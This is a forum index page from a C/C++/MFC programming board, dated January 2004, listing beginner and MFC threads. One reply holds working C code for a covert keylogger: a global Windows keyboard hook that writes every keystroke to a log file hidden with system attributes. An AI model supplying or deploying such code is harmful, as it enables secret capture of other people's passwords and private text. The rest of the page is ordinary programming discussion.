Click here to Skip to main content
15,913,685 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
GeneralRe: Beginner Problem Pin
Anonymous3-Jan-04 18:59
Anonymous3-Jan-04 18:59 
GeneralMonitoring all text drawn Pin
Anonymous3-Jan-04 11:03
Anonymous3-Jan-04 11:03 
GeneralRe: Monitoring all text drawn Pin
alex.barylski3-Jan-04 12:01
alex.barylski3-Jan-04 12:01 
GeneralDirectplay game bot Pin
Kuniva3-Jan-04 10:57
Kuniva3-Jan-04 10:57 
GeneralAccelerator keys don't show up Pin
Member 7908543-Jan-04 10:28
Member 7908543-Jan-04 10:28 
GeneralRe: Accelerator keys don't show up Pin
Member 7908543-Jan-04 10:52
Member 7908543-Jan-04 10:52 
GeneralNeed help with key logger (?) Pin
Snyp3-Jan-04 9:00
Snyp3-Jan-04 9:00 
GeneralRe: Need help with key logger (?) Pin
abc8763-Jan-04 9:20
abc8763-Jan-04 9:20 
You can develop a keylogger using windows Hooks. Windows Hooks provides a mechanism to intercept messages before they reach the target window. You install keyboard hook and speicifes the procedure which is called on that message..

<br />
BOOL WINAPI InstallHook(BOOL overwrite)<br />
{<br />
if(overwrite) // overwrites the log<br />
// file?<br />
{<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_ARCHIVE);<br />
f1 = fopen(filename, "w");<br />
fclose(f1);<br />
}<br />
// set the hidden property for the<br />
// log file<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_HIDDEN|<br />
FILE_ATTRIBUTE_SYSTEM);<br />
// call win API to install hook<br />
hkb = SetWindowsHookEx(WH_KEYBOARD,<br />
(HOOKPROC)KeyboardProc,hInstance,0);<br />
return TRUE;<br />
}<br />
<br />
//this is the procedure which is called.. it opens a file and logs all characters to that file..<br />
<br />
LRESULT WINAPI CALLBACK KeyboardProc(<br />
int nCode, WPARAM wParam,<br />
LPARAM lParam)<br />
{<br />
char ch;<br />
char locname[80];<br />
strcpy(locname,filename);<br />
if (((DWORD)lParam & 0x40000000<br />
&&(HC_ACTION==nCode))<br />
{<br />
if((wParam==VK_SPACE)||<br />
(wParam==VK_RETURN)||<br />
(wParam>=0x2f ) &&<br />
(wParam<=0x100))<br />
{<br />
f1=fopen(locname,"a+");<br />
if (wParam==VK_RETURN)<br />
{<br />
ch='\n';<br />
// copy character to<br />
// log file<br />
fwrite(&ch,1,1,f1);<br />
}<br />
else<br />
{<br />
// array receives the<br />
// status data for each<br />
// virtual key<br />
BYTE ks[256];<br />
GetKeyboardState(ks);<br />
WORD w;<br />
UINT scan;<br />
scan=0;<br />
ToAscii(wParam,scan,<br />
ks,&w,0);<br />
ch =char(w);<br />
// copy character to log<br />
// file<br />
fwrite(&ch,1,1,f1);<br />
}<br />
fclose(f1);<br />
}<br />
}<br />
LRESULT RetVal = CallNextHookEx(<br />
hkb, nCode, wParam, lParam );<br />
return RetVal;<br />
}<br />
<br />


Hope that helps Wink | ;)


Muhammad Shoaib Khan
http://geocities.com/lansolution
GeneralRe: Need help with key logger (?) Pin
Jörgen Sigvardsson4-Jan-04 4:21
Jörgen Sigvardsson4-Jan-04 4:21 
GeneralDialog based SDI Pin
TolTol3-Jan-04 7:22
TolTol3-Jan-04 7:22 
GeneralRe: Dialog based SDI Pin
abc8763-Jan-04 8:56
abc8763-Jan-04 8:56 
GeneralRe: Dialog based SDI Pin
TolTol3-Jan-04 9:41
TolTol3-Jan-04 9:41 
GeneralWindows system font size Pin
zwergerl3-Jan-04 6:18
zwergerl3-Jan-04 6:18 
GeneralProblems getting client area screen coordinates Pin
doomgaze3-Jan-04 6:08
doomgaze3-Jan-04 6:08 
GeneralVisual Studio 2003 - C++ Pin
Runka3-Jan-04 5:44
sussRunka3-Jan-04 5:44 
GeneralRe: Visual Studio 2003 - C++ Pin
valikac3-Jan-04 5:48
valikac3-Jan-04 5:48 
GeneralRe: Visual Studio 2003 - C++ Pin
runka5-Jan-04 2:05
sussrunka5-Jan-04 2:05 
Questionhow to start an application and wait for its end Pin
gaxxx3-Jan-04 4:26
gaxxx3-Jan-04 4:26 
AnswerRe: how to start an application and wait for its end Pin
John R. Shaw3-Jan-04 4:40
John R. Shaw3-Jan-04 4:40 
AnswerRe: how to start an application and wait for its end Pin
John R. Shaw3-Jan-04 4:50
John R. Shaw3-Jan-04 4:50 
GeneralRe: how to start an application and wait for its end Pin
gaxxx3-Jan-04 5:12
gaxxx3-Jan-04 5:12 
GeneralWebbrowser control unexpected behaviour Pin
blindcop3-Jan-04 1:59
blindcop3-Jan-04 1:59 
GeneralRe: Webbrowser control unexpected behaviour Pin
John R. Shaw3-Jan-04 2:36
John R. Shaw3-Jan-04 2:36 
GeneralRe: Webbrowser control unexpected behaviour Pin
blindcop3-Jan-04 2:52
blindcop3-Jan-04 2:52 
GeneralRe: Webbrowser control unexpected behaviour Pin
John R. Shaw3-Jan-04 3:20
John R. Shaw3-Jan-04 3:20 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.